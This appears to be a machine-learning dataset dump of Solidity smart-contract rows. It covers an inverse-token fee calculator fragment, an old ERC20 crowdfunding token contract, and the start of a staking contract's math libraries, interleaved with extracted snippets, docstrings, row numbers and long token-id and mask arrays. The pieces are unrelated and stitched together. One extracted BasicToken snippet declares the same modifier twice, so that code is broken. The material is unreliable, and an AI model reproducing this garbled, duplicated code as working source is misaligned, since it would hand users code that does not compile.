) public view returns (uint256 cashFromTokenRedeem) {
uint256 lendingFee = persistentStorage.getLendingFee();
uint256 daysSinceLastRebalance = getDaysSinceLastRebalance() + 1;
uint256 cryptoForLendingFee = getLendingFeeInCrypto(
lendingFee,
DSMath.wmul(
_tokenAmount,
persistentStorage.getBalancePerTokenUnit()
),
daysSinceLastRebalance
);
uint256 fiatForLendingFee = DSMath.wmul(
cryptoForLendingFee,
_spotPrice
);
uint256 cashFromToken = getCashAmountCreatedByToken(
persistentStorage.getCashPositionPerTokenUnit(),
persistentStorage.getBalancePerTokenUnit(),
1 ether,
_tokenAmount,
_spotPrice
);
cashFromTokenRedeem = removeCurrentMintingFeeFromCash(
DSMath.sub(cashFromToken, fiatForLendingFee)
);
cashFromTokenRedeem = DSMath.sub(cashFromTokenRedeem, _gasFee);
}
function getDaysSinceLastRebalance()
public
view
returns (uint256 daysSinceLastRebalance)
{
uint256 lastRebalanceDay = persistentStorage.lastActivityDay();
uint256 year = lastRebalanceDay.div(10000);
uint256 month = lastRebalanceDay.div(100) - year.mul(100);
uint256 day = lastRebalanceDay - year.mul(10000) - month.mul(100);
uint256 startDate = DateTimeLibrary.timestampFromDate(year, month, day);
daysSinceLastRebalance = (block.timestamp - startDate) / 60 / 60 / 24;
}
/**
* @dev Returns the lending fee in crypto
*/
function getCurrentLendingFeeInCrypto()
public
view
returns (uint256 cryptoForLendingFee)
{
uint256 totalTokenSupply = inverseToken.totalSupply();
uint256 lendingFee = persistentStorage.getLendingFee();
uint256 balance = DSMath.wmul(
totalTokenSupply,
persistentStorage.getBalancePerTokenUnit()
);
uint256 daysSinceLastRebalance = getDaysSinceLastRebalance();
cryptoForLendingFee = getLendingFeeInCrypto(
lendingFee,
balance,
daysSinceLastRebalance
);
}
/**
* @dev Returns balance change needed to perform to have a balanced cashposition to balance ratio
*/
function getCurrentNeededChangeInBalanceToRebalance(uint256 _price)
public
view
returns (uint256 neededChangeInBalance, bool isNegative)
{
uint256 totalTokenSupply = inverseToken.totalSupply();
uint256 netTokenValue = getCurrentNetTokenValue();
uint256 balance = DSMath.wmul(
totalTokenSupply,
persistentStorage.getBalancePerTokenUnit()
);
return
getNeededChangeInBalanceToRebalance(netTokenValue, balance, _price);
}
/**
* @dev Returns total balance
*/
function getTotalBalance() external view returns (uint256 totalBalance) {
uint256 totalTokenSupply = inverseToken.totalSupply();
totalBalance = DSMath.wmul(
totalTokenSupply,
persistentStorage.getBalancePerTokenUnit()
);
}
/**
* @dev Returns current PCF values for the given price
* @param _price The momentary price of the crypto
*/
function calculateDailyPCF(uint256 _price, uint256 _lendingFee)
public
view
returns (
uint256 endNetTokenValue,
uint256 endBalance,
uint256 endCashPosition,
uint256 feeInFiat,
uint256 changeInBalance,
bool isChangeInBalanceNeg
)
{
require(_price != 0, "Price cant be zero");
uint256 totalTokenSupply = inverseToken.totalSupply();
uint256 balance = DSMath.wmul(
totalTokenSupply,
persistentStorage.getBalancePerTokenUnit()
);
uint256 cashPosition = DSMath.wmul(
totalTokenSupply,
persistentStorage.getCashPositionPerTokenUnit()
);
uint256 daysSinceLastRebalance = getDaysSinceLastRebalance();
uint256 minRebalanceAmount = persistentStorage.minRebalanceAmount();
return
calculatePCF(
cashPosition,
balance,
_price,
_lendingFee,
daysSinceLastRebalance,
minRebalanceAmount,
persistentStorage.balancePrecision()
);
}
/**
* @dev Returns total cash position
*/
function getTotalCashPosition()
public
view
returns (uint256 totalCashPosition)
{
uint256 totalTokenSupply = inverseToken.totalSupply();
totalCashPosition = DSMath.wmul(
totalTokenSupply,
persistentStorage.getCashPositionPerTokenUnit()
);
}
function wmul(uint256 x, uint256 y) external pure returns (uint256 z) {
z = DSMath.wmul(x, y);
}
function wdiv(uint256 x, uint256 y) external pure returns (uint256 z) {
z = DSMath.wdiv(x, y);
}
function floorBalance(uint256 a) public view returns (uint256) {
return floor(a, persistentStorage.balancePrecision());
}
function floor(uint256 a, uint256 precision) public pure returns (uint256) {
return (a / 10**(precision)) * 10**(precision);
}
}
| * @dev Returns the amount of token created by cash @param _cash The cash provided to create token @param _spotPrice The momentary price of the crypto/Create | function getCurrentTokenAmountCreatedByCash(
uint256 _cash,
uint256 _spotPrice,
uint256 _gasFee
) public view returns (uint256 tokenAmountCreated) {
uint256 cashAfterGas = DSMath.sub(_cash, _gasFee);
uint256 cashAfterFee = removeCurrentMintingFeeFromCash(cashAfterGas);
tokenAmountCreated = getTokenAmountCreatedByCash(
persistentStorage.getCashPositionPerTokenUnit(),
persistentStorage.getBalancePerTokenUnit(),
1 ether,
cashAfterFee,
_spotPrice
);
}
| 12,877,758 | [
1,
1356,
326,
3844,
434,
1147,
2522,
635,
276,
961,
225,
389,
71,
961,
1021,
276,
961,
2112,
358,
752,
1147,
225,
389,
19032,
5147,
1021,
10382,
814,
6205,
434,
326,
8170,
19,
1684,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
5175,
1345,
6275,
6119,
858,
39,
961,
12,
203,
3639,
2254,
5034,
389,
71,
961,
16,
203,
3639,
2254,
5034,
389,
19032,
5147,
16,
203,
3639,
2254,
5034,
389,
31604,
14667,
203,
565,
262,
1071,
1476,
1135,
261,
11890,
5034,
1147,
6275,
6119,
13,
288,
203,
3639,
2254,
5034,
276,
961,
4436,
27998,
273,
463,
7303,
421,
18,
1717,
24899,
71,
961,
16,
389,
31604,
14667,
1769,
203,
3639,
2254,
5034,
276,
961,
4436,
14667,
273,
1206,
3935,
49,
474,
310,
14667,
1265,
39,
961,
12,
71,
961,
4436,
27998,
1769,
203,
3639,
1147,
6275,
6119,
273,
9162,
6275,
6119,
858,
39,
961,
12,
203,
5411,
9195,
3245,
18,
588,
39,
961,
2555,
2173,
1345,
2802,
9334,
203,
5411,
9195,
3245,
18,
588,
13937,
2173,
1345,
2802,
9334,
203,
5411,
404,
225,
2437,
16,
203,
5411,
276,
961,
4436,
14667,
16,
203,
5411,
389,
19032,
5147,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.13;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
revert();
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/*
* Fix for the ERC20 short address attack
*/
modifier onlyPayloadSize(uint size) {
if (msg.data.length < size + 4) {
revert();
}
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract RBInformationStore is Ownable {
address public profitContainerAddress;
address public companyWalletAddress;
uint public etherRatioForOwner;
address public multiSigAddress;
address public accountAddressForSponsee;
bool public isPayableEnabledForAll = true;
modifier onlyMultiSig() {
require(multiSigAddress == msg.sender);
_;
}
function RBInformationStore
(
address _profitContainerAddress,
address _companyWalletAddress,
uint _etherRatioForOwner,
address _multiSigAddress,
address _accountAddressForSponsee
) {
profitContainerAddress = _profitContainerAddress;
companyWalletAddress = _companyWalletAddress;
etherRatioForOwner = _etherRatioForOwner;
multiSigAddress = _multiSigAddress;
accountAddressForSponsee = _accountAddressForSponsee;
}
function changeProfitContainerAddress(address _address) onlyMultiSig {
profitContainerAddress = _address;
}
function changeCompanyWalletAddress(address _address) onlyMultiSig {
companyWalletAddress = _address;
}
function changeEtherRatioForOwner(uint _value) onlyMultiSig {
etherRatioForOwner = _value;
}
function changeMultiSigAddress(address _address) onlyMultiSig {
multiSigAddress = _address;
}
function changeOwner(address _address) onlyMultiSig {
owner = _address;
}
function changeAccountAddressForSponsee(address _address) onlyMultiSig {
accountAddressForSponsee = _address;
}
function changeIsPayableEnabledForAll() onlyMultiSig {
isPayableEnabledForAll = !isPayableEnabledForAll;
}
}
contract Rate {
uint public ETH_USD_rate;
RBInformationStore public rbInformationStore;
modifier onlyOwner() {
require(msg.sender == rbInformationStore.owner());
_;
}
function Rate(uint _rate, address _address) {
ETH_USD_rate = _rate;
rbInformationStore = RBInformationStore(_address);
}
function setRate(uint _rate) onlyOwner {
ETH_USD_rate = _rate;
}
}
/**
@title SponseeTokenModel
*/
contract SponseeTokenModel is StandardToken {
string public name;
string public symbol;
uint8 public decimals = 0;
uint public totalSupply = 0;
uint public cap = 100000000; // maximum cap = 1 000 000 $ = 100 000 000 tokens
uint public minimumSupport = 500; // minimum support is 5$(500 cents)
uint public etherRatioForInvestor = 10; // etherRatio (10%) to send ether to investor
address public sponseeAddress;
bool public isPayableEnabled = true;
RBInformationStore public rbInformationStore;
Rate public rate;
event LogReceivedEther(address indexed from, address indexed to, uint etherValue, string tokenName);
event LogBuy(address indexed from, address indexed to, uint indexed value, uint paymentId);
event LogRollbackTransfer(address indexed from, address indexed to, uint value);
event LogExchange(address indexed from, address indexed token, uint value);
event LogIncreaseCap(uint value);
event LogDecreaseCap(uint value);
event LogSetRBInformationStoreAddress(address indexed to);
event LogSetName(string name);
event LogSetSymbol(string symbol);
event LogMint(address indexed to, uint value);
event LogChangeSponseeAddress(address indexed to);
event LogChangeIsPayableEnabled(bool flag);
modifier onlyAccountAddressForSponsee() {
require(rbInformationStore.accountAddressForSponsee() == msg.sender);
_;
}
modifier onlyMultiSig() {
require(rbInformationStore.multiSigAddress() == msg.sender);
_;
}
// constructor
function SponseeTokenModel(
string _name,
string _symbol,
address _rbInformationStoreAddress,
address _rateAddress,
address _sponsee
) {
name = _name;
symbol = _symbol;
rbInformationStore = RBInformationStore(_rbInformationStoreAddress);
rate = Rate(_rateAddress);
sponseeAddress = _sponsee;
}
/**
@notice Receive ether from any EOA accounts. Amount of ether received in this function is distributed to 3 parts.
One is a profitContainerAddress which is address of containerWallet to dividend to investor of Boost token.
Another is an ownerAddress which is address of owner of REALBOOST site.
The other is an sponseeAddress which is address of owner of this contract.
Then, return token of this contract to msg.sender related to the amount of ether that msg.sender sent and rate (US cent) of ehter stored in Rate contract.
*/
function() payable {
// check condition
require(isPayableEnabled && rbInformationStore.isPayableEnabledForAll());
// check validation
if (msg.value <= 0) { revert(); }
// calculate support amount in US
uint supportedAmount = msg.value.mul(rate.ETH_USD_rate()).div(10**18);
// if support is less than minimum => return money to supporter
if (supportedAmount < minimumSupport) { revert(); }
// calculate the ratio of Ether for distribution
uint etherRatioForOwner = rbInformationStore.etherRatioForOwner();
uint etherRatioForSponsee = uint(100).sub(etherRatioForOwner).sub(etherRatioForInvestor);
/* divide Ether */
// calculate
uint etherForOwner = msg.value.mul(etherRatioForOwner).div(100);
uint etherForInvestor = msg.value.mul(etherRatioForInvestor).div(100);
uint etherForSponsee = msg.value.mul(etherRatioForSponsee).div(100);
// get address
address profitContainerAddress = rbInformationStore.profitContainerAddress();
address companyWalletAddress = rbInformationStore.companyWalletAddress();
// send Ether
if (!profitContainerAddress.send(etherForInvestor)) { revert(); }
if (!companyWalletAddress.send(etherForOwner)) { revert(); }
if (!sponseeAddress.send(etherForSponsee)) { revert(); }
// token amount is transfered to sender
// 1 token = 1 cent, 1 usd = 100 cents
uint tokenAmount = msg.value.mul(rate.ETH_USD_rate()).div(10**18);
// add tokens
balances[msg.sender] = balances[msg.sender].add(tokenAmount);
// increase total supply
totalSupply = totalSupply.add(tokenAmount);
// check cap
if (totalSupply > cap) { revert(); }
// send Event
LogExchange(msg.sender, this, tokenAmount);
LogReceivedEther(msg.sender, this, msg.value, name);
Transfer(address(0x0), msg.sender, tokenAmount);
}
/**
@notice Change rbInformationStoreAddress.
@param _address The address of new rbInformationStore
*/
function setRBInformationStoreAddress(address _address) onlyMultiSig {
rbInformationStore = RBInformationStore(_address);
// send Event
LogSetRBInformationStoreAddress(_address);
}
/**
@notice Change name.
@param _name The new name of token
*/
function setName(string _name) onlyAccountAddressForSponsee {
name = _name;
// send Event
LogSetName(_name);
}
/**
@notice Change symbol.
@param _symbol The new symbol of token
*/
function setSymbol(string _symbol) onlyAccountAddressForSponsee {
symbol = _symbol;
// send Event
LogSetSymbol(_symbol);
}
/**
@notice Mint new token amount.
@param _address The address that new token amount is added
@param _value The new amount of token
*/
function mint(address _address, uint _value) onlyAccountAddressForSponsee {
// add tokens
balances[_address] = balances[_address].add(_value);
// increase total supply
totalSupply = totalSupply.add(_value);
// check cap
if (totalSupply > cap) { revert(); }
// send Event
LogMint(_address, _value);
Transfer(address(0x0), _address, _value);
}
/**
@notice Increase cap.
@param _value The amount of token that should be increased
*/
function increaseCap(uint _value) onlyAccountAddressForSponsee {
// change cap here
cap = cap.add(_value);
// send Event
LogIncreaseCap(_value);
}
/**
@notice Decrease cap.
@param _value The amount of token that should be decreased
*/
function decreaseCap(uint _value) onlyAccountAddressForSponsee {
// check whether cap is lower than totalSupply or not
if (totalSupply > cap.sub(_value)) { revert(); }
// change cap here
cap = cap.sub(_value);
// send Event
LogDecreaseCap(_value);
}
/**
@notice Rollback transfer.
@param _from The EOA address for rollback transfer
@param _to The EOA address for rollback transfer
@param _value The number of token for rollback transfer
*/
function rollbackTransfer(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) onlyMultiSig {
balances[_to] = balances[_to].sub(_value);
balances[_from] = balances[_from].add(_value);
// send Event
LogRollbackTransfer(_from, _to, _value);
Transfer(_from, _to, _value);
}
/**
@notice Transfer from msg.sender for downloading of content.
@param _to The EOA address for buy content
@param _value The number of token for buy content
@param _paymentId The id of content which msg.sender want to buy
*/
function buy(address _to, uint _value, uint _paymentId) {
transfer(_to, _value);
// send Event
LogBuy(msg.sender, _to, _value, _paymentId);
}
/**
@notice This method will change old sponsee address with a new one.
@param _newAddress new address is set
*/
function changeSponseeAddress(address _newAddress) onlyAccountAddressForSponsee {
sponseeAddress = _newAddress;
// send Event
LogChangeSponseeAddress(_newAddress);
}
/**
@notice This method will change isPayableEnabled flag.
*/
function changeIsPayableEnabled() onlyMultiSig {
isPayableEnabled = !isPayableEnabled;
// send Event
LogChangeIsPayableEnabled(isPayableEnabled);
}
} | * @title Basic token @dev Basic version of StandardToken, with no allowances./ | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint size) {
if (msg.data.length < size + 4) {
revert();
}
_;
}
modifier onlyPayloadSize(uint size) {
if (msg.data.length < size + 4) {
revert();
}
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
| 905,732 | [
1,
8252,
1147,
225,
7651,
1177,
434,
8263,
1345,
16,
598,
1158,
1699,
6872,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
7651,
1345,
353,
4232,
39,
3462,
8252,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
324,
26488,
31,
203,
203,
565,
9606,
1338,
6110,
1225,
12,
11890,
963,
13,
288,
203,
3639,
309,
261,
3576,
18,
892,
18,
2469,
411,
963,
397,
1059,
13,
288,
203,
5411,
15226,
5621,
203,
3639,
289,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
6110,
1225,
12,
11890,
963,
13,
288,
203,
3639,
309,
261,
3576,
18,
892,
18,
2469,
411,
963,
397,
1059,
13,
288,
203,
5411,
15226,
5621,
203,
3639,
289,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
7412,
12,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1338,
6110,
1225,
12,
22,
380,
3847,
13,
225,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
24899,
869,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
24899,
1132,
1648,
324,
26488,
63,
3576,
18,
15330,
19226,
203,
203,
3639,
324,
26488,
63,
3576,
18,
15330,
65,
273,
324,
26488,
63,
3576,
18,
15330,
8009,
1717,
24899,
1132,
1769,
203,
3639,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
1132,
1769,
203,
3639,
12279,
12,
3576,
18,
15330,
16,
389,
869,
16,
389,
1132,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
389,
8443,
13,
1071,
5381,
1135,
261,
11890,
5034,
11013,
13,
288,
203,
3639,
327,
324,
26488,
2
]
|
/**
*Submitted for verification at Etherscan.io on 2021-09-03
*/
// SPDX-License-Identifier: MIT
// File: contracts\interfaces\MathUtil.sol
pragma solidity 0.6.12;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUtil {
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
// File: contracts\interfaces\IStakingProxy.sol
pragma solidity 0.6.12;
interface IStakingProxy {
function getBalance() external view returns(uint256);
function withdraw(uint256 _amount) external;
function stake() external;
function distribute() external;
}
// File: contracts\interfaces\IRewardStaking.sol
pragma solidity 0.6.12;
interface IRewardStaking {
function stakeFor(address, uint256) external;
function stake( uint256) external;
function withdraw(uint256 amount, bool claim) external;
function withdrawAndUnwrap(uint256 amount, bool claim) external;
function earned(address account) external view returns (uint256);
function getReward() external;
function getReward(address _account, bool _claimExtras) external;
function extraRewardsLength() external view returns (uint256);
function extraRewards(uint256 _pid) external view returns (address);
function rewardToken() external view returns (address);
function balanceOf(address _account) external view returns (uint256);
}
// File: contracts\interfaces\BoringMath.sol
pragma solidity 0.6.12;
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
function to40(uint256 a) internal pure returns (uint40 c) {
require(a <= uint40(-1), "BoringMath: uint40 Overflow");
c = uint40(a);
}
function to112(uint256 a) internal pure returns (uint112 c) {
require(a <= uint112(-1), "BoringMath: uint112 Overflow");
c = uint112(a);
}
function to224(uint256 a) internal pure returns (uint224 c) {
require(a <= uint224(-1), "BoringMath: uint224 Overflow");
c = uint224(a);
}
function to208(uint256 a) internal pure returns (uint208 c) {
require(a <= uint208(-1), "BoringMath: uint208 Overflow");
c = uint208(a);
}
function to216(uint256 a) internal pure returns (uint216 c) {
require(a <= uint216(-1), "BoringMath: uint216 Overflow");
c = uint216(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint32 a, uint32 b) internal pure returns (uint32 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint112.
library BoringMath112 {
function add(uint112 a, uint112 b) internal pure returns (uint112 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint112 a, uint112 b) internal pure returns (uint112 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint112 a, uint112 b) internal pure returns (uint112 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint112 a, uint112 b) internal pure returns (uint112) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint224.
library BoringMath224 {
function add(uint224 a, uint224 b) internal pure returns (uint224 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint224 a, uint224 b) internal pure returns (uint224 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint224 a, uint224 b) internal pure returns (uint224 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function div(uint224 a, uint224 b) internal pure returns (uint224) {
require(b > 0, "BoringMath: division by zero");
return a / b;
}
}
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
